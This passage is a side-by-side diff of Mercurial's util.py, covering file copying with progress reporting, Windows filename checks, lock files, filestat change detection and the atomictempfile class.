1645 os.stat(os.path.dirname(dst)).st_dev)
1644 topic = gettopic()
1646 settopic()
1645 os.mkdir(dst)
1647 os.mkdir(dst)
1646 for name, kind in listdir(src):
1648 for name, kind in listdir(src):
1647 srcname = os.path.join(src, name)
1649 srcname = os.path.join(src, name)
1648 dstname = os.path.join(dst, name)
1650 dstname = os.path.join(dst, name)
1649 def nprog(t, pos):
1651 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1650 if pos is not None:
1651 return progress(t, pos + num)
1652 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1653 num += n
1652 num += n
1654 else:
1653 else:
1655 if hardlink is None:
1654 if hardlink is None:
1656 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1655 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1657 os.stat(os.path.dirname(dst)).st_dev)
1656 os.stat(os.path.dirname(dst)).st_dev)
1658 topic = gettopic()
1657 settopic()
1659
1658
1660 if hardlink:
1659 if hardlink:
1661 try:
1660 try:
1662 oslink(src, dst)
1661 oslink(src, dst)
1663 except (IOError, OSError):
1662 except (IOError, OSError):
1664 hardlink = False
1663 hardlink = False
1665 shutil.copy(src, dst)
1664 shutil.copy(src, dst)
1666 else:
1665 else:
1667 shutil.copy(src, dst)
1666 shutil.copy(src, dst)
1668 num += 1
1667 num += 1
1669 progress(topic, num)
1668 if progress:
1670 progress(topic, None)
1669 progress.increment()
1671
1670
1672 return hardlink, num
1671 return hardlink, num
1673
1672
1674 _winreservednames = {
1673 _winreservednames = {
1675 'con', 'prn', 'aux', 'nul',
1674 'con', 'prn', 'aux', 'nul',
1676 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1675 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1677 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1676 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1678 }
1677 }
1679 _winreservedchars = ':*?"<>|'
1678 _winreservedchars = ':*?"<>|'
1680 def checkwinfilename(path):
1679 def checkwinfilename(path):
1681 r'''Check that the base-relative path is a valid filename on Windows.
1680 r'''Check that the base-relative path is a valid filename on Windows.
1682 Returns None if the path is ok, or a UI string describing the problem.
1681 Returns None if the path is ok, or a UI string describing the problem.
1683
1682
1684 >>> checkwinfilename(b"just/a/normal/path")
1683 >>> checkwinfilename(b"just/a/normal/path")
1685 >>> checkwinfilename(b"foo/bar/con.xml")
1684 >>> checkwinfilename(b"foo/bar/con.xml")
1686 "filename contains 'con', which is reserved on Windows"
1685 "filename contains 'con', which is reserved on Windows"
1687 >>> checkwinfilename(b"foo/con.xml/bar")
1686 >>> checkwinfilename(b"foo/con.xml/bar")
1688 "filename contains 'con', which is reserved on Windows"
1687 "filename contains 'con', which is reserved on Windows"
1689 >>> checkwinfilename(b"foo/bar/xml.con")
1688 >>> checkwinfilename(b"foo/bar/xml.con")
1690 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1689 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1691 "filename contains 'AUX', which is reserved on Windows"
1690 "filename contains 'AUX', which is reserved on Windows"
1692 >>> checkwinfilename(b"foo/bar/bla:.txt")
1691 >>> checkwinfilename(b"foo/bar/bla:.txt")
1693 "filename contains ':', which is reserved on Windows"
1692 "filename contains ':', which is reserved on Windows"
1694 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1693 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1695 "filename contains '\\x07', which is invalid on Windows"
1694 "filename contains '\\x07', which is invalid on Windows"
1696 >>> checkwinfilename(b"foo/bar/bla ")
1695 >>> checkwinfilename(b"foo/bar/bla ")
1697 "filename ends with ' ', which is not allowed on Windows"
1696 "filename ends with ' ', which is not allowed on Windows"
1698 >>> checkwinfilename(b"../bar")
1697 >>> checkwinfilename(b"../bar")
1699 >>> checkwinfilename(b"foo\\")
1698 >>> checkwinfilename(b"foo\\")
1700 "filename ends with '\\', which is invalid on Windows"
1699 "filename ends with '\\', which is invalid on Windows"
1701 >>> checkwinfilename(b"foo\\/bar")
1700 >>> checkwinfilename(b"foo\\/bar")
1702 "directory name ends with '\\', which is invalid on Windows"
1701 "directory name ends with '\\', which is invalid on Windows"
1703 '''
1702 '''
1704 if path.endswith('\\'):
1703 if path.endswith('\\'):
1705 return _("filename ends with '\\', which is invalid on Windows")
1704 return _("filename ends with '\\', which is invalid on Windows")
1706 if '\\/' in path:
1705 if '\\/' in path:
1707 return _("directory name ends with '\\', which is invalid on Windows")
1706 return _("directory name ends with '\\', which is invalid on Windows")
1708 for n in path.replace('\\', '/').split('/'):
1707 for n in path.replace('\\', '/').split('/'):
1709 if not n:
1708 if not n:
1710 continue
1709 continue
1711 for c in _filenamebytestr(n):
1710 for c in _filenamebytestr(n):
1712 if c in _winreservedchars:
1711 if c in _winreservedchars:
1713 return _("filename contains '%s', which is reserved "
1712 return _("filename contains '%s', which is reserved "
1714 "on Windows") % c
1713 "on Windows") % c
1715 if ord(c) <= 31:
1714 if ord(c) <= 31:
1716 return _("filename contains '%s', which is invalid "
1715 return _("filename contains '%s', which is invalid "
1717 "on Windows") % stringutil.escapestr(c)
1716 "on Windows") % stringutil.escapestr(c)
1718 base = n.split('.')[0]
1717 base = n.split('.')[0]
1719 if base and base.lower() in _winreservednames:
1718 if base and base.lower() in _winreservednames:
1720 return _("filename contains '%s', which is reserved "
1719 return _("filename contains '%s', which is reserved "
1721 "on Windows") % base
1720 "on Windows") % base
1722 t = n[-1:]
1721 t = n[-1:]
1723 if t in '. ' and n not in '..':
1722 if t in '. ' and n not in '..':
1724 return _("filename ends with '%s', which is not allowed "
1723 return _("filename ends with '%s', which is not allowed "
1725 "on Windows") % t
1724 "on Windows") % t
1726
1725
1727 if pycompat.iswindows:
1726 if pycompat.iswindows:
1728 checkosfilename = checkwinfilename
1727 checkosfilename = checkwinfilename
1729 timer = time.clock
1728 timer = time.clock
1730 else:
1729 else:
1731 checkosfilename = platform.checkosfilename
1730 checkosfilename = platform.checkosfilename
1732 timer = time.time
1731 timer = time.time
1733
1732
1734 if safehasattr(time, "perf_counter"):
1733 if safehasattr(time, "perf_counter"):
1735 timer = time.perf_counter
1734 timer = time.perf_counter
1736
1735
1737 def makelock(info, pathname):
1736 def makelock(info, pathname):
1738 """Create a lock file atomically if possible
1737 """Create a lock file atomically if possible
1739
1738
1740 This may leave a stale lock file if symlink isn't supported and signal
1739 This may leave a stale lock file if symlink isn't supported and signal
1741 interrupt is enabled.
1740 interrupt is enabled.
1742 """
1741 """
1743 try:
1742 try:
1744 return os.symlink(info, pathname)
1743 return os.symlink(info, pathname)
1745 except OSError as why:
1744 except OSError as why:
1746 if why.errno == errno.EEXIST:
1745 if why.errno == errno.EEXIST:
1747 raise
1746 raise
1748 except AttributeError: # no symlink in os
1747 except AttributeError: # no symlink in os
1749 pass
1748 pass
1750
1749
1751 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1750 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1752 ld = os.open(pathname, flags)
1751 ld = os.open(pathname, flags)
1753 os.write(ld, info)
1752 os.write(ld, info)
1754 os.close(ld)
1753 os.close(ld)
1755
1754
1756 def readlock(pathname):
1755 def readlock(pathname):
1757 try:
1756 try:
1758 return os.readlink(pathname)
1757 return os.readlink(pathname)
1759 except OSError as why:
1758 except OSError as why:
1760 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1759 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1761 raise
1760 raise
1762 except AttributeError: # no symlink in os
1761 except AttributeError: # no symlink in os
1763 pass
1762 pass
1764 fp = posixfile(pathname, 'rb')
1763 fp = posixfile(pathname, 'rb')
1765 r = fp.read()
1764 r = fp.read()
1766 fp.close()
1765 fp.close()
1767 return r
1766 return r
1768
1767
1769 def fstat(fp):
1768 def fstat(fp):
1770 '''stat file object that may not have fileno method.'''
1769 '''stat file object that may not have fileno method.'''
1771 try:
1770 try:
1772 return os.fstat(fp.fileno())
1771 return os.fstat(fp.fileno())
1773 except AttributeError:
1772 except AttributeError:
1774 return os.stat(fp.name)
1773 return os.stat(fp.name)
1775
1774
1776 # File system features
1775 # File system features
1777
1776
1778 def fscasesensitive(path):
1777 def fscasesensitive(path):
1779 """
1778 """
1780 Return true if the given path is on a case-sensitive filesystem
1779 Return true if the given path is on a case-sensitive filesystem
1781
1780
1782 Requires a path (like /foo/.hg) ending with a foldable final
1781 Requires a path (like /foo/.hg) ending with a foldable final
1783 directory component.
1782 directory component.
1784 """
1783 """
1785 s1 = os.lstat(path)
1784 s1 = os.lstat(path)
1786 d, b = os.path.split(path)
1785 d, b = os.path.split(path)
1787 b2 = b.upper()
1786 b2 = b.upper()
1788 if b == b2:
1787 if b == b2:
1789 b2 = b.lower()
1788 b2 = b.lower()
1790 if b == b2:
1789 if b == b2:
1791 return True # no evidence against case sensitivity
1790 return True # no evidence against case sensitivity
1792 p2 = os.path.join(d, b2)
1791 p2 = os.path.join(d, b2)
1793 try:
1792 try:
1794 s2 = os.lstat(p2)
1793 s2 = os.lstat(p2)
1795 if s2 == s1:
1794 if s2 == s1:
1796 return False
1795 return False
1797 return True
1796 return True
1798 except OSError:
1797 except OSError:
1799 return True
1798 return True
1800
1799
1801 try:
1800 try:
1802 import re2
1801 import re2
1803 _re2 = None
1802 _re2 = None
1804 except ImportError:
1803 except ImportError:
1805 _re2 = False
1804 _re2 = False
1806
1805
1807 class _re(object):
1806 class _re(object):
1808 def _checkre2(self):
1807 def _checkre2(self):
1809 global _re2
1808 global _re2
1810 try:
1809 try:
1811 # check if match works, see issue3964
1810 # check if match works, see issue3964
1812 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1811 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1813 except ImportError:
1812 except ImportError:
1814 _re2 = False
1813 _re2 = False
1815
1814
1816 def compile(self, pat, flags=0):
1815 def compile(self, pat, flags=0):
1817 '''Compile a regular expression, using re2 if possible
1816 '''Compile a regular expression, using re2 if possible
1818
1817
1819 For best performance, use only re2-compatible regexp features. The
1818 For best performance, use only re2-compatible regexp features. The
1820 only flags from the re module that are re2-compatible are
1819 only flags from the re module that are re2-compatible are
1821 IGNORECASE and MULTILINE.'''
1820 IGNORECASE and MULTILINE.'''
1822 if _re2 is None:
1821 if _re2 is None:
1823 self._checkre2()
1822 self._checkre2()
1824 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1823 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1825 if flags & remod.IGNORECASE:
1824 if flags & remod.IGNORECASE:
1826 pat = '(?i)' + pat
1825 pat = '(?i)' + pat
1827 if flags & remod.MULTILINE:
1826 if flags & remod.MULTILINE:
1828 pat = '(?m)' + pat
1827 pat = '(?m)' + pat
1829 try:
1828 try:
1830 return re2.compile(pat)
1829 return re2.compile(pat)
1831 except re2.error:
1830 except re2.error:
1832 pass
1831 pass
1833 return remod.compile(pat, flags)
1832 return remod.compile(pat, flags)
1834
1833
1835 @propertycache
1834 @propertycache
1836 def escape(self):
1835 def escape(self):
1837 '''Return the version of escape corresponding to self.compile.
1836 '''Return the version of escape corresponding to self.compile.
1838
1837
1839 This is imperfect because whether re2 or re is used for a particular
1838 This is imperfect because whether re2 or re is used for a particular
1840 function depends on the flags, etc, but it's the best we can do.
1839 function depends on the flags, etc, but it's the best we can do.
1841 '''
1840 '''
1842 global _re2
1841 global _re2
1843 if _re2 is None:
1842 if _re2 is None:
1844 self._checkre2()
1843 self._checkre2()
1845 if _re2:
1844 if _re2:
1846 return re2.escape
1845 return re2.escape
1847 else:
1846 else:
1848 return remod.escape
1847 return remod.escape
1849
1848
1850 re = _re()
1849 re = _re()
1851
1850
1852 _fspathcache = {}
1851 _fspathcache = {}
1853 def fspath(name, root):
1852 def fspath(name, root):
1854 '''Get name in the case stored in the filesystem
1853 '''Get name in the case stored in the filesystem
1855
1854
1856 The name should be relative to root, and be normcase-ed for efficiency.
1855 The name should be relative to root, and be normcase-ed for efficiency.
1857
1856
1858 Note that this function is unnecessary, and should not be
1857 Note that this function is unnecessary, and should not be
1859 called, for case-sensitive filesystems (simply because it's expensive).
1858 called, for case-sensitive filesystems (simply because it's expensive).
1860
1859
1861 The root should be normcase-ed, too.
1860 The root should be normcase-ed, too.
1862 '''
1861 '''
1863 def _makefspathcacheentry(dir):
1862 def _makefspathcacheentry(dir):
1864 return dict((normcase(n), n) for n in os.listdir(dir))
1863 return dict((normcase(n), n) for n in os.listdir(dir))
1865
1864
1866 seps = pycompat.ossep
1865 seps = pycompat.ossep
1867 if pycompat.osaltsep:
1866 if pycompat.osaltsep:
1868 seps = seps + pycompat.osaltsep
1867 seps = seps + pycompat.osaltsep
1869 # Protect backslashes. This gets silly very quickly.
1868 # Protect backslashes. This gets silly very quickly.
1870 seps.replace('\\','\\\\')
1869 seps.replace('\\','\\\\')
1871 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1870 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1872 dir = os.path.normpath(root)
1871 dir = os.path.normpath(root)
1873 result = []
1872 result = []
1874 for part, sep in pattern.findall(name):
1873 for part, sep in pattern.findall(name):
1875 if sep:
1874 if sep:
1876 result.append(sep)
1875 result.append(sep)
1877 continue
1876 continue
1878
1877
1879 if dir not in _fspathcache:
1878 if dir not in _fspathcache:
1880 _fspathcache[dir] = _makefspathcacheentry(dir)
1879 _fspathcache[dir] = _makefspathcacheentry(dir)
1881 contents = _fspathcache[dir]
1880 contents = _fspathcache[dir]
1882
1881
1883 found = contents.get(part)
1882 found = contents.get(part)
1884 if not found:
1883 if not found:
1885 # retry "once per directory" per "dirstate.walk" which
1884 # retry "once per directory" per "dirstate.walk" which
1886 # may take place for each patches of "hg qpush", for example
1885 # may take place for each patches of "hg qpush", for example
1887 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1886 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1888 found = contents.get(part)
1887 found = contents.get(part)
1889
1888
1890 result.append(found or part)
1889 result.append(found or part)
1891 dir = os.path.join(dir, part)
1890 dir = os.path.join(dir, part)
1892
1891
1893 return ''.join(result)
1892 return ''.join(result)
1894
1893
1895 def checknlink(testfile):
1894 def checknlink(testfile):
1896 '''check whether hardlink count reporting works properly'''
1895 '''check whether hardlink count reporting works properly'''
1897
1896
1898 # testfile may be open, so we need a separate file for checking to
1897 # testfile may be open, so we need a separate file for checking to
1899 # work around issue2543 (or testfile may get lost on Samba shares)
1898 # work around issue2543 (or testfile may get lost on Samba shares)
1900 f1, f2, fp = None, None, None
1899 f1, f2, fp = None, None, None
1901 try:
1900 try:
1902 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1901 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1903 suffix='1~', dir=os.path.dirname(testfile))
1902 suffix='1~', dir=os.path.dirname(testfile))
1904 os.close(fd)
1903 os.close(fd)
1905 f2 = '%s2~' % f1[:-2]
1904 f2 = '%s2~' % f1[:-2]
1906
1905
1907 oslink(f1, f2)
1906 oslink(f1, f2)
1908 # nlinks() may behave differently for files on Windows shares if
1907 # nlinks() may behave differently for files on Windows shares if
1909 # the file is open.
1908 # the file is open.
1910 fp = posixfile(f2)
1909 fp = posixfile(f2)
1911 return nlinks(f2) > 1
1910 return nlinks(f2) > 1
1912 except OSError:
1911 except OSError:
1913 return False
1912 return False
1914 finally:
1913 finally:
1915 if fp is not None:
1914 if fp is not None:
1916 fp.close()
1915 fp.close()
1917 for f in (f1, f2):
1916 for f in (f1, f2):
1918 try:
1917 try:
1919 if f is not None:
1918 if f is not None:
1920 os.unlink(f)
1919 os.unlink(f)
1921 except OSError:
1920 except OSError:
1922 pass
1921 pass
1923
1922
1924 def endswithsep(path):
1923 def endswithsep(path):
1925 '''Check path ends with os.sep or os.altsep.'''
1924 '''Check path ends with os.sep or os.altsep.'''
1926 return (path.endswith(pycompat.ossep)
1925 return (path.endswith(pycompat.ossep)
1927 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1926 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1928
1927
1929 def splitpath(path):
1928 def splitpath(path):
1930 '''Split path by os.sep.
1929 '''Split path by os.sep.
1931 Note that this function does not use os.altsep because this is
1930 Note that this function does not use os.altsep because this is
1932 an alternative of simple "xxx.split(os.sep)".
1931 an alternative of simple "xxx.split(os.sep)".
1933 It is recommended to use os.path.normpath() before using this
1932 It is recommended to use os.path.normpath() before using this
1934 function if need.'''
1933 function if need.'''
1935 return path.split(pycompat.ossep)
1934 return path.split(pycompat.ossep)
1936
1935
1937 def mktempcopy(name, emptyok=False, createmode=None):
1936 def mktempcopy(name, emptyok=False, createmode=None):
1938 """Create a temporary file with the same contents from name
1937 """Create a temporary file with the same contents from name
1939
1938
1940 The permission bits are copied from the original file.
1939 The permission bits are copied from the original file.
1941
1940
1942 If the temporary file is going to be truncated immediately, you
1941 If the temporary file is going to be truncated immediately, you
1943 can use emptyok=True as an optimization.
1942 can use emptyok=True as an optimization.
1944
1943
1945 Returns the name of the temporary file.
1944 Returns the name of the temporary file.
1946 """
1945 """
1947 d, fn = os.path.split(name)
1946 d, fn = os.path.split(name)
1948 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1947 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1949 os.close(fd)
1948 os.close(fd)
1950 # Temporary files are created with mode 0600, which is usually not
1949 # Temporary files are created with mode 0600, which is usually not
1951 # what we want. If the original file already exists, just copy
1950 # what we want. If the original file already exists, just copy
1952 # its mode. Otherwise, manually obey umask.
1951 # its mode. Otherwise, manually obey umask.
1953 copymode(name, temp, createmode)
1952 copymode(name, temp, createmode)
1954 if emptyok:
1953 if emptyok:
1955 return temp
1954 return temp
1956 try:
1955 try:
1957 try:
1956 try:
1958 ifp = posixfile(name, "rb")
1957 ifp = posixfile(name, "rb")
1959 except IOError as inst:
1958 except IOError as inst:
1960 if inst.errno == errno.ENOENT:
1959 if inst.errno == errno.ENOENT:
1961 return temp
1960 return temp
1962 if not getattr(inst, 'filename', None):
1961 if not getattr(inst, 'filename', None):
1963 inst.filename = name
1962 inst.filename = name
1964 raise
1963 raise
1965 ofp = posixfile(temp, "wb")
1964 ofp = posixfile(temp, "wb")
1966 for chunk in filechunkiter(ifp):
1965 for chunk in filechunkiter(ifp):
1967 ofp.write(chunk)
1966 ofp.write(chunk)
1968 ifp.close()
1967 ifp.close()
1969 ofp.close()
1968 ofp.close()
1970 except: # re-raises
1969 except: # re-raises
1971 try:
1970 try:
1972 os.unlink(temp)
1971 os.unlink(temp)
1973 except OSError:
1972 except OSError:
1974 pass
1973 pass
1975 raise
1974 raise
1976 return temp
1975 return temp
1977
1976
1978 class filestat(object):
1977 class filestat(object):
1979 """help to exactly detect change of a file
1978 """help to exactly detect change of a file
1980
1979
1981 'stat' attribute is result of 'os.stat()' if specified 'path'
1980 'stat' attribute is result of 'os.stat()' if specified 'path'
1982 exists. Otherwise, it is None. This can avoid preparative
1981 exists. Otherwise, it is None. This can avoid preparative
1983 'exists()' examination on client side of this class.
1982 'exists()' examination on client side of this class.
1984 """
1983 """
1985 def __init__(self, stat):
1984 def __init__(self, stat):
1986 self.stat = stat
1985 self.stat = stat
1987
1986
1988 @classmethod
1987 @classmethod
1989 def frompath(cls, path):
1988 def frompath(cls, path):
1990 try:
1989 try:
1991 stat = os.stat(path)
1990 stat = os.stat(path)
1992 except OSError as err:
1991 except OSError as err:
1993 if err.errno != errno.ENOENT:
1992 if err.errno != errno.ENOENT:
1994 raise
1993 raise
1995 stat = None
1994 stat = None
1996 return cls(stat)
1995 return cls(stat)
1997
1996
1998 @classmethod
1997 @classmethod
1999 def fromfp(cls, fp):
1998 def fromfp(cls, fp):
2000 stat = os.fstat(fp.fileno())
1999 stat = os.fstat(fp.fileno())
2001 return cls(stat)
2000 return cls(stat)
2002
2001
2003 __hash__ = object.__hash__
2002 __hash__ = object.__hash__
2004
2003
2005 def __eq__(self, old):
2004 def __eq__(self, old):
2006 try:
2005 try:
2007 # if ambiguity between stat of new and old file is
2006 # if ambiguity between stat of new and old file is
2008 # avoided, comparison of size, ctime and mtime is enough
2007 # avoided, comparison of size, ctime and mtime is enough
2009 # to exactly detect change of a file regardless of platform
2008 # to exactly detect change of a file regardless of platform
2010 return (self.stat.st_size == old.stat.st_size and
2009 return (self.stat.st_size == old.stat.st_size and
2011 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2010 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2012 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2011 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2013 except AttributeError:
2012 except AttributeError:
2014 pass
2013 pass
2015 try:
2014 try:
2016 return self.stat is None and old.stat is None
2015 return self.stat is None and old.stat is None
2017 except AttributeError:
2016 except AttributeError:
2018 return False
2017 return False
2019
2018
2020 def isambig(self, old):
2019 def isambig(self, old):
2021 """Examine whether new (= self) stat is ambiguous against old one
2020 """Examine whether new (= self) stat is ambiguous against old one
2022
2021
2023 "S[N]" below means stat of a file at N-th change:
2022 "S[N]" below means stat of a file at N-th change:
2024
2023
2025 - S[n-1].ctime < S[n].ctime: can detect change of a file
2024 - S[n-1].ctime < S[n].ctime: can detect change of a file
2026 - S[n-1].ctime == S[n].ctime
2025 - S[n-1].ctime == S[n].ctime
2027 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2026 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2028 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2027 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2029 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2028 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2030 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2029 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2031
2030
2032 Case (*2) above means that a file was changed twice or more at
2031 Case (*2) above means that a file was changed twice or more at
2033 same time in sec (= S[n-1].ctime), and comparison of timestamp
2032 same time in sec (= S[n-1].ctime), and comparison of timestamp
2034 is ambiguous.
2033 is ambiguous.
2035
2034
2036 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2035 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2037 timestamp is ambiguous".
2036 timestamp is ambiguous".
2038
2037
2039 But advancing mtime only in case (*2) doesn't work as
2038 But advancing mtime only in case (*2) doesn't work as
2040 expected, because naturally advanced S[n].mtime in case (*1)
2039 expected, because naturally advanced S[n].mtime in case (*1)
2041 might be equal to manually advanced S[n-1 or earlier].mtime.
2040 might be equal to manually advanced S[n-1 or earlier].mtime.
2042
2041
2043 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2042 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2044 treated as ambiguous regardless of mtime, to avoid overlooking
2043 treated as ambiguous regardless of mtime, to avoid overlooking
2045 by confliction between such mtime.
2044 by confliction between such mtime.
2046
2045
2047 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2046 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2048 S[n].mtime", even if size of a file isn't changed.
2047 S[n].mtime", even if size of a file isn't changed.
2049 """
2048 """
2050 try:
2049 try:
2051 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2050 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2052 except AttributeError:
2051 except AttributeError:
2053 return False
2052 return False
2054
2053
2055 def avoidambig(self, path, old):
2054 def avoidambig(self, path, old):
2056 """Change file stat of specified path to avoid ambiguity
2055 """Change file stat of specified path to avoid ambiguity
2057
2056
2058 'old' should be previous filestat of 'path'.
2057 'old' should be previous filestat of 'path'.
2059
2058
2060 This skips avoiding ambiguity, if a process doesn't have
2059 This skips avoiding ambiguity, if a process doesn't have
2061 appropriate privileges for 'path'. This returns False in this
2060 appropriate privileges for 'path'. This returns False in this
2062 case.
2061 case.
2063
2062
2064 Otherwise, this returns True, as "ambiguity is avoided".
2063 Otherwise, this returns True, as "ambiguity is avoided".
2065 """
2064 """
2066 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2065 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2067 try:
2066 try:
2068 os.utime(path, (advanced, advanced))
2067 os.utime(path, (advanced, advanced))
2069 except OSError as inst:
2068 except OSError as inst:
2070 if inst.errno == errno.EPERM:
2069 if inst.errno == errno.EPERM:
2071 # utime() on the file created by another user causes EPERM,
2070 # utime() on the file created by another user causes EPERM,
2072 # if a process doesn't have appropriate privileges
2071 # if a process doesn't have appropriate privileges
2073 return False
2072 return False
2074 raise
2073 raise
2075 return True
2074 return True
2076
2075
2077 def __ne__(self, other):
2076 def __ne__(self, other):
2078 return not self == other
2077 return not self == other
2079
2078
2080 class atomictempfile(object):
2079 class atomictempfile(object):
2081 '''writable file object that atomically updates a file
2080 '''writable file object that atomically updates a file
2082
2081
2083 All writes will go to a temporary copy of the original file. Call
2082 All writes will go to a temporary copy of the original file. Call
2084 close() when you are done writing, and atomictempfile will rename
2083 close() when you are done writing, and atomictempfile will rename
2085 the temporary copy to the original name, making the changes
2084 the temporary copy to the original name, making the changes
2086 visible. If the object is destroyed without being closed, all your
2085 visible. If the object is destroyed without being closed, all your
2087 writes are discarded.
2086 writes are discarded.
2088
2087
2089 checkambig argument of constructor is used with filestat, and is
2088 checkambig argument of constructor is used with filestat, and is
2090 useful only if target file is guarded by any lock (e.g. repo.lock
2089 useful only if target file is guarded by any lock (e.g. repo.lock
2091 or repo.wlock).
2090 or repo.wlock).
2092 '''
2091 '''
2093 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2092 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2094 self.__name = name # permanent name
2093 self.__name = name # permanent name
2095 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2094 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2096 createmode=createmode)
2095 createmode=createmode)
2097 self._fp = posixfile(self._tempname, mode)
2096 self._fp = posixfile(self._tempname, mode)
2098 self._checkambig = checkambig
2097 self._checkambig = checkambig
2099
2098
2100 # delegated methods
2099 # delegated methods
2101 self.read = self._fp.read
2100 self.read = self._fp.read
2102 self.write = self._fp.write
2101 self.write = self._fp.write
2103 self.seek = self._fp.seek
2102 self.seek = self._fp.seek
2104 self.tell = self._fp.tell
2103 self.tell = self._fp.tell
2105 self.fileno = self._fp.fileno
2104 self.fileno = self._fp.fileno
2106
2105
2107 def close(self):
2106 def close(self):
2108 if not self._fp.closed:
2107 if not self._fp.closed:
2109 self._fp.close()
2108 self._fp.close()
2110 filename = localpath(self.__name)
2109 filename = localpath(self.__name)
2111 oldstat = self._checkambig and filestat.frompath(filename)
2110 oldstat = self._checkambig and filestat.frompath(filename)
2112 if oldstat and oldstat.stat:
2111 if oldstat and oldstat.stat:
2113 rename(self._tempname, filename)
2112 rename(self._tempname, filename)
2114 newstat = filestat.frompath(filename)
2113 newstat = filestat.frompath(filename)
2115 if newstat.isambig(oldstat):
2114 if newstat.isambig(oldstat):
2116 # stat of changed file is ambiguous to original one
2115 # stat of changed file is ambiguous to original one
2117 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2116 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2118 os.utime(filename, (advanced, advanced))
2117 os.utime(filename, (advanced, advanced))
2119 else:
2118 else:
2120 rename(self._tempname, filename)
2119 rename(self._tempname, filename)
2121
2120
2122 def discard(self):
2121 def discard(self):
2123 if not self._fp.closed:
2122 if not self._fp.closed:
2124 try:
2123 try:
2125 os.unlink(self._tempname)
2124 os.unlink(self._tempname)
2126 except OSError:
2125 except OSError:
2127 pass
2126 pass
2128 self._fp.close()
2127 self._fp.close()
2129
2128
2130 def __del__(self):
2129 def __del__(self):
2131 if safehasattr(self, '_fp'): # constructor actually did something
2130 if safehasattr(self, '_fp'): # constructor actually did something
2132 self.discard()
2131 self.discard()
2133
2132
2134 def __enter__(self):
2133 def __enter__(self):
2135 return self
2134 return self
2136
2135
2137 def __exit__(self, exctype, excvalue, traceback):
2136 def __exit__(self, exctype, excvalue, traceback):
2138 if exctype is not None:
2137 if exctype is not None:
2139 self.discard()
2138 self.discard()
2140 else:
2139 else:
2141 self.close()
2140 self.close()
2142
2141
2143 def unlinkpath(f, ignoremissing=False):
2142 def unlinkpath(f, ignoremissing=False):
2144 """unlink and remove the directory if it is empty"""
2143 """unlink and remove the directory if it is empty"""
2145 if ignoremissing:
2144 if ignoremissing:
2146 tryunlink(f)
2145 tryunlink(f)
2147 else:
2146 else:
2148 unlink(f)
2147 unlink(f)
2149 # try removing directories that might now be empty
2148 # try removing directories that might now be empty
2150 try:
2149 try:
2151 removedirs(os.path.dirname(f))
2150 removedirs(os.path.dirname(f))
2152 except OSError:
2151 except OSError:
2153 pass
2152 pass
2154
2153
2155 def tryunlink(f):
2154 def tryunlink(f):
2156 """Attempt to remove a file, ignoring ENOENT errors."""
2155 """Attempt to remove a file, ignoring ENOENT errors."""
2157 try:
2156 try:
2158 unlink(f)
2157 unlink(f)
